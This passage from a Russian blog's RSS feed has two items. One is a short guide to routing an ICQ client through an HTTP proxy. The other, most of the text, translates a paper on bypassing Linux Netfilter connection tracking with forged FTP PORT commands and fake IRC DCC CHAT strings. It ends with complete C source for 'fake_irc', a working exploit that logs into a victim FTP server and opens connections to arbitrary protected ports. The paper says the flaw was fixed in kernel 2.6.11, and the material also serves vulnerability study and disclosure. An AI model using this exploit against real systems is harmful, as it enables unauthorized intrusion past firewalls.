
		<guid isPermaLink="false">http://vialinx.org/kak-zastavit-lyubuyu-programmu-rabotat-cherez-http-proksi/</guid>
		<description><![CDATA[Ниже пример как заставить ICQ клиента, например http://kopete.kde.org, работать через HTTP прокси.
 
Суть метода: icq_client =&#62; socks =&#62; http_proxy    Ставим пакет dante-client &#8211; пользователям debian это сделать можно так:    &#160;&#160;&#160; sudo apt-get install dante-client    Затем залазим в настройки ( в debian&#8217;e &#8211; /etc/dante.conf)    [...]]]></description>
			<content:encoded><![CDATA[<p>Ниже пример как заставить ICQ клиента, например <a href="http://kopete.kde.org">http://kopete.kde.org</a>, работать через HTTP прокси.</p>
<p> <span id="more-31"></span>
<p>Суть метода: icq_client =&gt; socks =&gt; http_proxy    <br />Ставим пакет dante-client &#8211; пользователям debian это сделать можно так:    <br />&#160;&#160;&#160; sudo apt-get install dante-client    <br />Затем залазим в настройки ( в debian&#8217;e &#8211; /etc/dante.conf)    <br />В конце файла прописываем:    <br />&#160;&#160; route {    <br />&#160;&#160;&#160;&#160;&#160; from: 0.0.0.0/0 to: 0.0.0.0/0 via: proxy.testhost.ru port = 3128    <br />&#160;&#160;&#160;&#160;&#160; proxyprotocol: http_v1.0    <br />&#160;&#160; }    <br />Где proxy.testhost.ru &#8211; адрес http прокси, 3128 &#8211; порт прокси. П    <br />Дальше запускаем kopete&#8230; следующим образом:    <br />&#160;&#160; socksify kopete    <br />Пробрасывать весь трафик приложения через socks v.4 или v.5 сервер можно также используя <a href="http://tsocks.sourceforge.net/">http://tsocks.sourceforge.net/</a></p>
]]></content:encoded>
			<wfw:commentRss>http://vialinx.org/kak-zastavit-lyubuyu-programmu-rabotat-cherez-http-proksi/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Проникновение через фаервол используя поддельные FTP-команды.</title>
		<link>http://vialinx.org/proniknovenie-cherez-faervol-ispolzuya-poddelnye-ftp-komandy/</link>
		<comments>http://vialinx.org/proniknovenie-cherez-faervol-ispolzuya-poddelnye-ftp-komandy/#comments</comments>
		<pubDate>Thu, 06 May 2010 01:17:53 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Интересное]]></category>
		<category><![CDATA[FTP-команды]]></category>
		<category><![CDATA[используя поддельные]]></category>
		<category><![CDATA[Проникновение через фаервол]]></category>

		<guid isPermaLink="false">http://vialinx.org/proniknovenie-cherez-faervol-ispolzuya-poddelnye-ftp-komandy/</guid>
		<description><![CDATA[Исходник приведен &#34;как есть&#34;. Коментарии не приводятся, поскольку даже без знания английского языка (но при даже небольшом знании языка С) в программе все очевидно.
 
&#160;
[=====«Breaking through a Firewall using a forged FTP command»======]   Soungjoo Han &#60;kotkrye@hanmail.net&#62;    [=Проникновение через фаервол используя поддельные FTP-команды=]    перевод rent0n &#60;podzaeb@gmail.com&#62;
Содержание:   [...]]]></description>
			<content:encoded><![CDATA[<p>Исходник приведен &quot;как есть&quot;. Коментарии не приводятся, поскольку даже без знания английского языка (но при даже небольшом знании языка С) в программе все очевидно.</p>
<p> <span id="more-27"></span>
<p>&#160;</p>
<p>[=====«Breaking through a Firewall using a forged FTP command»======]   <br />Soungjoo Han &lt;kotkrye@hanmail.net&gt;    <br />[=Проникновение через фаервол используя поддельные FTP-команды=]    <br />перевод rent0n &lt;podzaeb@gmail.com&gt;</p>
<p>Содержание:   <br />1.Введение    <br />2.FTP, IRC и динамическая фильтрация пакетов Netfilter&#8217;ом    <br />3.Вариант атаки №1    <br />3.1 Первоначальный обман    <br />3.2 Детали атаки    <br />4.Вариант атаки №2 – нестандартная коммандная строка    <br />4.1 Детали атаки    <br />5.Вариант атаки №3 &#8211; свойство &#8216;echo&#8217; ftp-ответа    <br />5.1 Пассивный режим : общая информация    <br />5.2 Детали атаки    <br />6.Приложение 1. Демонстрация атаки 2-м способом</p>
<p>[=====================1. Введение =======================]</p>
<p>FTP – протокол, использующий два TCP-соединения. Одно из них называется контрольным(control connection), по нему передаются команды от ftp-клиента к серверу и обратно. Контрольное соединение существует на протяжении всей FTP-сессии. Другое же соединение называется каналом передачи данных(data connection – data-соединение). Это соединение существует лишь при передаче данных между узлами сети.   <br />Многие фаерволы не разрешают никаких соединений с FTP-сервером, исключая контрольные соединения по FTP-протоколу(21-й TCP-порт по умолчанию) для обеспечения безопасности. Однако, на протяжении времени передачи файла разрешаются временные каналы передачи данных. Для этого фаервол следит за состоянием контрольного соединения и фиксирует команды, связанные с передачей файлов. Это называется динамическая фильтрация пакетов.    <br />Я придумал 3 способа атаки, которые заставят фаервол разрешить нелегальные ftp-соединения путем обмана проверки соединения с помощью фальшивых ftp-комманд.    <br />Все способы были проверены на iptables, который является дефолтным фаерволом в Linux с ядрами 2.4 – 2.6. 1-й способ тестировался на ядре 2.4.18 и 2.4.28.    <br />Эта уязвимость пофиксена, начиная с ядра 2.6.11.</p>
<p>[=======2. FTP, IRC и динамическая фильтрация пакетов Netfilter'ом======]</p>
<p>Для начала рассмотрим FTP, IRC (позже вы узнаете, почему IRC тут упоминается) и динамическую фильтрацию пакетов. Если вы хорошо разбираетесь в этом, то можете пропустить эту главу.   <br />Как уже установлено, FTP использует контрольное соединение для отправки и получения команд(представленных в ASCII), и использует канал передачи данных для передачи файлов.    <br />Например, когда вы вводите «ls» или «get» &lt;filename&gt; в FTP-приглашении, FTP-сервер (в активном режиме) инициирует установление канала передачи данных с портом(который называется data-порт) на вашей системе. Клиент, в свою очередь, отправляет номер порта,используя команду PORT:</p>
<p>PORT&lt;space&gt;h1,h2,h3,h4,p1,p2&lt;CRLF&gt;</p>
<p>Тут символы «h1,h2,h3,h4» сообщают точечно-десятичную запись IP-адреса клиента (h1.h2.h3.h4), а строка «p1,p2» сообщает номер порта данных (= p1 * 256 + p2). Каждое поле адреса и номер порта представляет собой 10-ное число. Дата-порт динамически назначается клиентом. Команды и ответы звканчиваются последовательностью &lt;CRLF&gt;.   <br />Netfilter отслеживает контрольное соединение FTP и принимает последовательность чисел и длину данных пакета, содержащего FTP-команду(заканчивающуюся &lt;LF&gt;). Затем он вычисляет последовательность чисел следующих команд, основываясь на этой информации. Когда прибыл пакет с последовательностью чисел, Netfilter анализирует, содержат ли данные пакета FTP-команду. Если заголовок данных идентичен &quot;PORT&quot;, и пакет заканчивается &lt;CRLF&gt;, Netfilter принимает это за действительную команду PORT(фактические коды более запутанны) и извлекает оттуда IP-адрес и номер порта. Впоследствии Netfilter ожидает установления сервером канала передачи данных с определенным портом клиента. Когда запрос на установление соединения действительно прибывает, Netfilter разрешает соединение только пока оно действует. В случае незавершенной (неполной) команды, данные удаляются.    <br />IRC (Internet Relay Chat) &#8211; система диалогового общения по Интернету. IRC-клиент может использовать непосредственное соединение надлежащим образом общаясь с другим клиентом. Когда клиент логинится на сервере, он/она коннектится к IRC-серверу(порт 6667 по умолчанию). С другой стороны, когда клиент хочет общаться с другим, он устанавливает прямое соединение с другим участником. Для этого клиент отправляет сообщение, называемое DCC CHAT. Эта команда аналогична команде FTP PORT, и Netfilter также отслеживает IRC-соединения. Он ожидает и разрешает прямые IRC-соединения.</p>
<p>[====================3. Вариант атаки №1==================]</p>
<p>3.1 Первоначальный обман</p>
<p>Я придумал, как можно нелегально коннектиться к любому TCP-порту на FTP-сервере, защищенному Netfilter&#8217;ом, обманывая модуль отслеживания соединений в ядре Linux 2.4.18.   <br />В большинстве случаев, администраторы используют динамическую фильтрацию пакетов для разрешения передачи файлов по FTP или для прямого соединения в IRC. Для этого администраторы обычно вставляют в список правил IPTables следующее правило:</p>
<p>iptables -A FORWARD -m state &#8211;state ESTABLISHED, RELATED -j ACCEPT</p>
<p>Примечание(rent0n&lt;podzaeb@gmail.com&gt;):=========================   <br />Когда пакет приходит на наш брандмауэр, то он сперва попадает на сетевое устройство, перехватывается соответствующим драйвером и далее передается в ядро. Далее пакет проходит ряд таблиц и затем передается локальному приложению, либо перенаправляется на другую машину. Пакеты, предназначенные локальному приложению, проходят цепочки PREROUTING(обычно тут вносятся изменения в заголовок пакета + преобразование адресов(DNAT)) и INPUT(тут происходит непосредственно фильтрация входящего трафика). Все транзитные пакеты попадают проходят через цепочку FORWARD, где и осуществляется фильтрация транзитного трафика, идущего в обоих направлениях.    <br />Вне ядра пакеты могут иметь только 4 состояния. В основном состояние пакета используется критерием –state. Допустимыми являются состояния NEW, ESTABLISHED, RELATED и INVALID. Вкратце опишем каждое состояние:    <br />NEW сообщает о том, что пакет является первым для данного соединения. Например, это может быть SYN-пакет.(Вспомним &quot;3-этапное рукопожатие&quot; при установлении соединения).    <br />Соединение получает статус RELATED, когда оно связано с другим соединением, имеющим признак ESTABLISHED. Т.е., cоединение получает признак RELATED только когда оно инициировано из уже установленного соединения, имеющего признак ESTABLISHED. Хороший пример RELATED-соединения – соединение FTP-data(т.е. создание канала передачи данных), которое связано с контрольным соединением, а также состояние DCC CHAT в IRC.    <br />Состояние ESTABLISHED говорит о том, что это не первый пакет в соединении. После получения ответа состояние NEW или RELATED изменяется на ESTABLISHED.    <br />Признак INVALID говорит о том, что пакет не может быть идентифицирован и поэтому не может иметь определенного статуса.    <br />Итак, это правило    <br />iptables -A FORWARD -m state &#8211;state ESTABLISHED, RELATED -j ACCEPT    <br />расшифровывается так:    <br />Добавляется новое правило для цепочки FORWARD, согласно которому принимаются все пакеты, имеющие состояние ESTABLISHED и RELATED. При этом пакет прекращает движение по цепочке.    <br />=====================================================</p>
<p>Допустим, что злоумышленник, залогинивщийся на FTP-сервере, передает команду PORT с номером TCP-порта 6667(это по умолчанию порт IRC-сервера) и затем пытается загрузить с сервера файл. FTP-сервер инициирует установление канала передачи данных с 6667 портом на хосте злоумышленника. Фаервол разрешает это соединение при установленной динамической фильтрации пакетов. Когда соединение установлено, модуль отслеживания соединений фаервола (в ядре Linux 2.4.1Cool ошибочно принимает его за irc-соединение. Таким образом хост атакующего может притвориться IRC-сервером.   <br />Когда атакующий загружает файл, содержащий строку с шаблоном команды DCC CHAT, модуль отслеживания соединений ошибочно примет содержание пакета данных за команду DCC CHAT.    <br />В результате фаервол разрешит всем хостам коннектиться к TCP-порту, определенному командой DCC CHAT, на IRC-клиенте (т.е., FTP-сервере) в соотвествии с правилом разрешения связанных(родственных) соединений. Для этого атакующий может загрузить файл перед вторжением.    <br />В заключение отметим, что атакующий может нелегально коннектиться ко всем TCP-портам на FTP-сервере.</p>
<p>3.2 Детали атаки</p>
<p>Для описания деталей примем следующую конфигурацию:   <br />1.Netfilter/IPtables защищает FTP-сервер в сети. Поэтому пользователи из внешней сети могут коннектиться только к FTP-порту на FTP-сервере. Разрешенные пользователи могут логиниться на сервере и скачивать/закачивать файлы.    <br />2.Пользователи в защищенной сети, включая FTP-сервер, могут коннектится только к IRC-серверам во внешней сети.    <br />3.Пока один из интернет-демонов находится в состоянии (1) или (2), дополнительные соединения(например, FTP data-соединение), могут быть временно приняты.    <br />4.Все другие соединения блокируются</p>
<p>Для реализации динамической фильтрации для FTP и IRC администратор загружает модули ip_conntrack: ip_conntrack_ftp и ip_conntrack_irc. Ipt_state также должен быть загружен. В этом случае атакующий может легко создать программу, логинящуюся на FTP-сервере и заставляющую сервер инициировать создание канала передачи данных с произольным портом на его хосте.   <br />Предположим, что атакующий передает команду PORT c data-портом 6667(дефолтный порт irc-сервера).    <br />Например, так:&quot;PORT 192,168,100,100,26,11\r\n&quot;.    <br />Модуль ip_conntrack_ftp, отслеживающий такие соединения, анализирует команду PORT и ожидает от FTP-сервера активации открытия соединения с определенным портам на хосте атакующего.    <br />После этого атакующий отправляет FTP-команду для загрузки файла &quot;RETR &lt;a file name&gt;&quot;. Сервер пробует соединиться с портом 6667 на хосте атакующего. Netfilter разрешает установление канала передачи данных при динамической фильтрации пакетов.    <br />Когда соединение установлено, модуль ip_conntrack ошибочно принимает его за IRC-соединение. Ip_conntrack принимает FTP-сервер за IRC-клиент, а атакующий хост – за IRC-сервер. И если поддельный IRC-клиент(т.е., FTP-сервер),будет отправлять пакеты по каналу передачи данных, модуль ip_conntrack_irc будет пытаться обнаружить в пакетах сообщения по протоколу DCC.    <br />Атакующий может заставить FTP-сервер отправить поддельные команды DCC CHAT, использую следующую хитрость. Перед вторжением атакующий загружает файл, содержащий строку, подобную этой:</p>
<p>&quot;\1DCC&lt;пробел&gt;CHAT&lt;пробел&gt;t&lt;пробел&gt;&lt;Десятичная запись IP-адреса клиента&gt;&lt;пробелы&gt;&lt;Номер TCP-порта на IRC-клиенте&gt;\1\n&quot;</p>
<p>Например, &quot;\1DCC CHAT t 3232236548 8000\1\n&quot;.</p>
<p>В этом случае Netfilter разрешает любому хосту инициировать открытие ТСР-порта, определенного в этой строке. Конечно, атакующий может произвольно ограничить номер ТСР-порта в поддельных DCC CHAT коммандах.   <br />Если такой пакет проходит через фаервол, модуль ip_conntrack_irc ошибочно принимает его за команду DCC CHAT и ожидает от любого хоста активации открытия поределенного порта на FTP-сервере для непосредственного соединения.    <br />Атакующий может нелегально коннектиться ко всем TCP-портам на FTP-сервере, используя эту хитрость.</p>
<p>========4. Вариант атаки №2 – нестандартная коммандная строка========</p>
<p>4.1 Детали атаки</p>
<p>Netfilter в ядре Linux 2.4.20 (и в более поздних версиях) также определяет, что вторичные (или дополнительные) соединения (как, например, FTP-data соединение), принятые главным соединением, не считаются ошибочными. Таким образом, содержимое пакетов FTP-data соединения не будет анализироваться ничем иным, кроме модуля отслеживания irc-соединений.   <br />Тем не менее я придумал способ коннектиться к любому TCP порту на на FTP-сервере, защищенном Netfilter&#8217;ом, используя нестандартные FTP-команды. Как я уже говорил, я покажу, что это работает в Linux 2.4.28.    <br />При обстоятельствах, установленных в предыдущей главе, злоумышленник из внешней сети может легко создать программу, которая будет коннектиться на FTP-сервере и передавать нестандартные ftp-команды. Например, атакующий может передать команду PORT без символа &lt;CR&gt; в конце, т.е. Команда будет заканчиваться лишь символом &lt;LF&gt;.    <br />Например, &quot;PORT 192,168,100,100,26,11\n&quot;.    <br />Обычные же команды заканчиваются &lt;CRLF&gt;. Если модуль ip_conntrack_ftp принимает нестандартную FTP-команду такого типа, он ее анализирует и пытается отыскать символ &lt;CR&gt;. Поскольку этот символ отсутствует, ip_conntrack_ftp принимает команду за &quot;неполную&quot; и удаляет пакет.Но перед этим ip_conntrack_ftp ожидает пакет с определенным порядковым номером, содержащий следующую FTP-команду и обновляет связанную с этим информацию. Этот номер вычисляется, основываясь на порядковом номере и длине данных &quot;неполной&quot; FTP-команды. Тем не менее, TCP-клиент впоследствии обычно повторно передает идентичную FTP-команду PORT, если ответ не был получен. В этом случае ip_conntrack_ftp не рассматривает этот повторно переданный пакет как FTP-команду, поскольку его порядковый номер отличается от ожидаемого. С точки зрения ip_conntrack_ftp пакет имеет неверный порядковый номер. Модуль ip_conntrack_ftp разрешает этот пакет без анализа команды. А FTP-сервер в конечном итоге может принять этот повторно переданный атакующим пакет. Несмотря на то, что ip_conntrack_ftp рассматривает эту неполную FTP-команду как недействительную, некоторые FTP-сервера, такие как wu-ftp, рассматривают неполную FTP-команду как действительную. Фаервол в этом случае опять же ошибочно ожидает установления канала передачи(FTP data connection). И когда атакующий отправляет команду RETR для загрузки файла с сервера, сервер инициализирует установление соединения с TCP-портом на хосте атакующего, определенным в команде PORT.    <br />Предположим, что номер порта 6667(порт IRC-сервера). Фаервол принимает соединение под контролем правила, фильтрующего статические пакеты, которое разрешает IRC-соединения, вместо статической фильтрации пакетов. Так модуль отслеживания соединений IP ошибается с IRC-соединением. Следующим шагом атакующего может быть прием, рассмотренный в предыдущей главе. Таким образом, атакующий может нелегально коннектиться ко всем TCP-портам, защищенным фаерволом.</p>
<p>*[дополнение] Более профессиональный способ обмана Netfilter. Он использует дефолтный data-порт. При условии, что data-порт не определяется в команде PORT и требуется установить data-соединение, FTP-сервер активизирует открытие портов с номерами от 20 до номера порта контрольного соединения(21). Для этого клиент предварительно прослушивает локальные порты. Вдобавок, атакующий может связать локальный порт с 6667(IRCD), и установить опцию сокета &quot;SO_REUSEADDR&quot; для повторного использования порта.   <br />Так как команда PORT никогда не проходит через Netfiter, фаервол не может предупреждать data-соединение. Я покажу, что это работает в Linux с ядром 2.4.20.</p>
<p>** Демонстрационная программа и пример атаки описаны в приложениях 1 и 2.</p>
<p>[==========5. Вариант атаки №3 - свойство 'echo' ftp-ответа==========]</p>
<p>5.1 Пассивный режим : общая информация</p>
<p>FTP-сервер способен открывать также пассивное data-соединение. Это называется пассивный FTP. Наоборот, активное открытие соединения называется активным FTP.   <br />Перед передачей файлов в пассивном режиме клиент отправляет серверу команду PASV, а сервер отвечает соответствующим сообщением, содержащим номер порта клиента, например:    <br />-&gt; USER &lt;a user name&gt;\r\n    <br />&lt;- 331 Password required for &lt;the user name&gt;.\r\n</p>
<p>5.2 Детали атаки</p>
<p>Обычно после соединения пользователя с FTP-сервером, сервер сразу же запрашивает имя пользователя. Когда клиент вводит имя в FTP-приглашении, на сервер отправляется команда USER с последовательностью символов имени пользователя, которые частично возвращаются. Например, пользователь вводит имя &quot;Alice Lee&quot; в FTP-приглашении</p>
<p>-&gt; USER Alice Lee\r\n   <br />FTP-сервер обычно возвращает следующее:    <br />&lt;- 331 Password required for Alice Lee.\r\n    <br />(&quot;Alice Lee&quot; повторяется.)</p>
<p>Пробелы могут включаться в имя пользователя. Злоумышленник может вставить вместо имени произвольный шаблон. Например, когда вставляется вместо имени ответ пассивного FTP, часть прибывшего ответа подобна ответу пассивного FTP.</p>
<p>-&gt; USER 227 Entering Passive Mode (192,168,20,29,42,125)\r\n   <br />&lt;- 331 Password required for 227 Entering Passive Mode    <br />(192,168,20,29,42,125).\r\n</p>
<p>Может ли фаервол спутать это с &quot;настоящим&quot; ответом пассиного FTP? Может быть большинство фаерволов не ошибаются тут, поскольку шаблон находится в середине ответа. Предположим, однако, что размер TCP-окна соединения регулируется атакующим, когда соединение уже установлено. В этом случае ответа может быть разделено на 2 части.</p>
<p>(A) &#8212;&#8211;&gt;USER xxxxxxxxx227 Entering Passive Mode   <br />(192,168,20,29,42,125)\r\n    <br />(B) &lt;&#8212;&#8211;331 Password required for xxxxxxxxx    <br />(C) &#8212;&#8211;&gt;ACK(with no data)    <br />(D) &lt;&#8212;&#8211;227 Entering Passive Mode (192,168,20,20,42,125).\r\n</p>
<p>(где символы &quot;хххх&#8230;.&quot; &#8211; просто буквы, всатвленные для регулирования длины данных)</p>
<p>Я тестировал этот способ на Netfilter/IPTables. Я покажу, что Netfilter не ошибается в подобных случаях. Причина этого в следующем:   <br />(В) – это неполная FTP-команда, заканчивающаяся &lt;LF&gt;. Netfilter, соответствено, никогда не рассматиривает (D) – следующий пакет данных – как ответ. В результате фаервол не пробует разобрать (D). Но все же в случае небрежной реализации модуля отслеживания соединений атака будет работать. В этом случае фаервол будет ожидать от клиента активного открытия соединения с портом на FTP-сервере,причем номер порта определен в поддельном ответе. Когда атакующий инициализирует установление соединения с целевым портом на сервере, фаерволл в конечном итоге принимает нелегальное соединение.</p>
<p>[=========6. Приложение 1. Демонстрация атаки 2-м способом=========]</p>
<p>Я написал программу, использующую данную уязвимость, на языке С. Для компиляции использовалась команда:   <br />/&gt;gcc -Wall -o fake_irc fake_irc.c</p>
<p>Исходник программы:</p>
<p>/*   <br />USAGE : ./fake_irc &lt;an FTP server IP&gt; &lt;a target port&gt;    <br />&lt;a user name&gt; &lt;a password&gt; &lt;a file name to be downloaded&gt;</p>
<p>- &lt;an FTP server IP&gt; : An FTP server IP that is a victim   <br />- &lt;a target port&gt; : the target TCP port on the FTP server to which an    <br />attacker wants to connect    <br />- &lt;a user name&gt; : a user name used to log on the FTP server    <br />- &lt;a password&gt; : a password used to log on the FTP server    <br />- &lt;a file name to be downloaded&gt; : a file name to be downloaded from the    <br />FTP server    <br />*/</p>
<p>#include &lt;stdio.h&gt;   <br />#include &lt;stdlib.h&gt;    <br />#include &lt;string.h&gt;    <br />#include &lt;unistd.h&gt;    <br />#include &lt;sys/socket.h&gt;    <br />#include &lt;arpa/inet.h&gt;</p>
<p>#define BUF_SIZE 2048   <br />#define DATA_BUF_SZ 65536    <br />#define IRC_SERVER_PORT 6667    <br />#define FTP_SERVER_PORT 21</p>
<p>static void usage(void)   <br />{    <br />printf(&quot;USAGE : ./fake_irc &quot;    <br />&quot;&lt;an FTP server IP&gt; &lt;a target port&gt; &lt;a user name&gt; &quot;    <br />&quot;&lt;a password&gt; &lt;a file name to be downloaded&gt;\n&quot;);</p>
<p>return;   <br />}</p>
<p>void send_cmd(int fd, char *msg)   <br />{    <br />if(send(fd, msg, strlen(msg), 0) &lt; 0) {    <br />perror(&quot;send&quot;);</p>
<p>exit(0);   <br />}</p>
<p>printf(&quot;&#8212;&gt;%s\n&quot;, msg);   <br />}</p>
<p>void get_reply(int fd)   <br />{    <br />char read_buffer[BUF_SIZE];    <br />int size;</p>
<p>//get the FTP server message   <br />if( (size = recv(fd, read_buffer, BUF_SIZE, 0)) &lt; 0) {    <br />perror(&quot;recv&quot;);</p>
<p>exit(0);   <br />}</p>
<p>read_buffer[size] = &#8216;\0&#8242;;</p>
<p>printf(&quot;&lt;&#8212;%s\n&quot;, read_buffer);   <br />}</p>
<p>void cmd_reply_xchg(int fd, char *msg)   <br />{    <br />send_cmd(fd, msg);    <br />get_reply(fd);    <br />}</p>
<p>/*   <br />argv[0] : a program name    <br />argv[1] : an FTP server IP    <br />argv[2] : a target port on the FTP server host    <br />argv[3] : a user name    <br />argv[4] : a password    <br />argv[5] : a file name to be downloaded    <br />*/    <br />int main(int argc, char **argv)    <br />{    <br />int fd, fd2, fd3, fd4;    <br />struct sockaddr_in serv_addr, serv_addr2;    <br />char send_buffer[BUF_SIZE];    <br />char *ftp_server_ip, *user_id, *pwd, *down_file;    <br />unsigned short target_port;    <br />char data_buf[DATA_BUF_SZ];    <br />struct sockaddr_in sa_cli;    <br />socklen_t client_len;    <br />unsigned int on = 1;    <br />unsigned char addr8[4];    <br />int datasize;</p>
<p>if(argc != 6) {   <br />usage();    <br />return -1;    <br />}</p>
<p>ftp_server_ip = argv[1];   <br />target_port = atoi(argv[2]);    <br />user_id = argv[3];    <br />pwd = argv[4];    <br />down_file = argv[5];</p>
<p>if((fd = socket(AF_INET, SOCK_STREAM, 0)) &lt;0) {   <br />perror(&quot;socket&quot;);    <br />return -1;    <br />}</p>
<p>bzero(&amp;serv_addr, sizeof(struct sockaddr_in));   <br />serv_addr.sin_family = AF_INET;    <br />serv_addr.sin_port = htons(FTP_SERVER_PORT);    <br />serv_addr.sin_addr.s_addr = inet_addr(ftp_server_ip);</p>
<p>//connect to the FTP server   <br />if(connect(fd, (struct sockaddr *) &amp;serv_addr, sizeof(struct sockaddr))) {    <br />perror(&quot;connect&quot;);    <br />return -1;    <br />}</p>
<p>//get the FTP server message   <br />get_reply(fd);</p>
<p>//exchange a USER command and the reply   <br />sprintf(send_buffer, &quot;USER %s\r\n&quot;, user_id);    <br />cmd_reply_xchg(fd, send_buffer);</p>
<p>//exchange a PASS command and the reply   <br />sprintf(send_buffer, &quot;PASS %s\r\n&quot;, pwd);    <br />cmd_reply_xchg(fd, send_buffer);</p>
<p>//exchange a SYST command and the reply   <br />sprintf(send_buffer, &quot;SYST\r\n&quot;);    <br />cmd_reply_xchg(fd, send_buffer);</p>
<p>sleep(1);</p>
<p>//write a PORT command   <br />datasize = sizeof(serv_addr);</p>
<p>if(getsockname(fd, (struct sockaddr *)&amp;serv_addr, &amp;datasize) &lt; 0 ) {   <br />perror(&quot;getsockname&quot;);    <br />return -1;    <br />}</p>
<p>memcpy(addr8, &amp;serv_addr.sin_addr.s_addr, sizeof(addr8));</p>
<p>sprintf(send_buffer, &quot;PORT %hhu,%hhu,%hhu,%hhu,%hhu,%hhu\n&quot;,   <br />addr8[0], addr8[1], addr8[2], addr8[3],    <br />IRC_SERVER_PORT/256, IRC_SERVER_PORT % 256);</p>
<p>cmd_reply_xchg(fd, send_buffer);</p>
<p>//Be a server for an active FTP data connection   <br />if((fd2 = socket(AF_INET, SOCK_STREAM, 0)) &lt;0) {    <br />perror(&quot;socket&quot;);    <br />return -1;    <br />}</p>
<p>if(setsockopt(fd2, SOL_SOCKET, SO_REUSEADDR, &amp;on, sizeof(on)) &lt; 0) {   <br />perror(&quot;setsockopt&quot;);    <br />return -1;    <br />}</p>
<p>bzero(&amp;serv_addr, sizeof(struct sockaddr_in));   <br />serv_addr.sin_family = AF_INET;    <br />serv_addr.sin_port = htons(IRC_SERVER_PORT);    <br />serv_addr.sin_addr.s_addr = INADDR_ANY;</p>
<p>if( bind(fd2, (struct sockaddr *)&amp;serv_addr, sizeof(serv_addr)) &lt; 0 ) {   <br />perror(&quot;bind&quot;);    <br />return -1;    <br />}</p>
<p>if( listen(fd2, SOMAXCONN) &lt; 0 ) {   <br />perror(&quot;listen&quot;);    <br />return -1;    <br />}</p>
<p>//send a RETR command after calling listen()   <br />sprintf(send_buffer, &quot;RETR %s\r\n&quot;, down_file);    <br />cmd_reply_xchg(fd, send_buffer);</p>
<p>//accept the active FTP data connection request   <br />client_len = sizeof(sa_cli);    <br />bzero(&amp;sa_cli, client_len);</p>
<p>fd3 = accept (fd2, (struct sockaddr*) &amp;sa_cli, &amp;client_len);</p>
<p>if( fd3 &lt; 0 ) {   <br />perror(&quot;accept&quot;);    <br />return -1;    <br />}</p>
<p>//get the fake DCC command   <br />bzero(data_buf, DATA_BUF_SZ);</p>
<p>if( recv(fd3, data_buf, DATA_BUF_SZ, 0) &lt; 0) {   <br />perror(&quot;recv&quot;);    <br />return -1;    <br />}    <br />puts(data_buf);</p>
<p>///Start of the attack   <br />if((fd4= socket(AF_INET, SOCK_STREAM, 0)) &lt;0) {    <br />perror(&quot;socket&quot;);    <br />return -1;    <br />}</p>
<p>bzero(&amp;serv_addr2, sizeof(struct sockaddr_in));   <br />serv_addr2.sin_family = AF_INET;    <br />serv_addr2.sin_port = htons(target_port );    <br />serv_addr2.sin_addr.s_addr = inet_addr(ftp_server_ip);</p>
<p>if(connect(fd4, (struct sockaddr *)&amp;serv_addr2, sizeof(struct sockaddr)))   <br />{    <br />perror(&quot;connect&quot;);    <br />return -1;    <br />}else    <br />printf(&quot;\nConnected to the target port!!\n&quot;);</p>
<p>//Here, communicate with the target port   <br />sleep(3);</p>
<p>close(fd4);//close the attack connection   <br />/////////////The end of the attack.</p>
<p>close(fd3);//close the FTP data connection</p>
<p>//get the reply of FTP data transfer completion   <br />get_reply(fd);</p>
<p>sleep(1);</p>
<p>close(fd);//close the FTP control connection   <br />close(fd2);</p>
<p>return 0;</p>
<p>}/*The end*/</p>
]]></content:encoded>
			<wfw:commentRss>http://vialinx.org/proniknovenie-cherez-faervol-ispolzuya-poddelnye-ftp-komandy/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

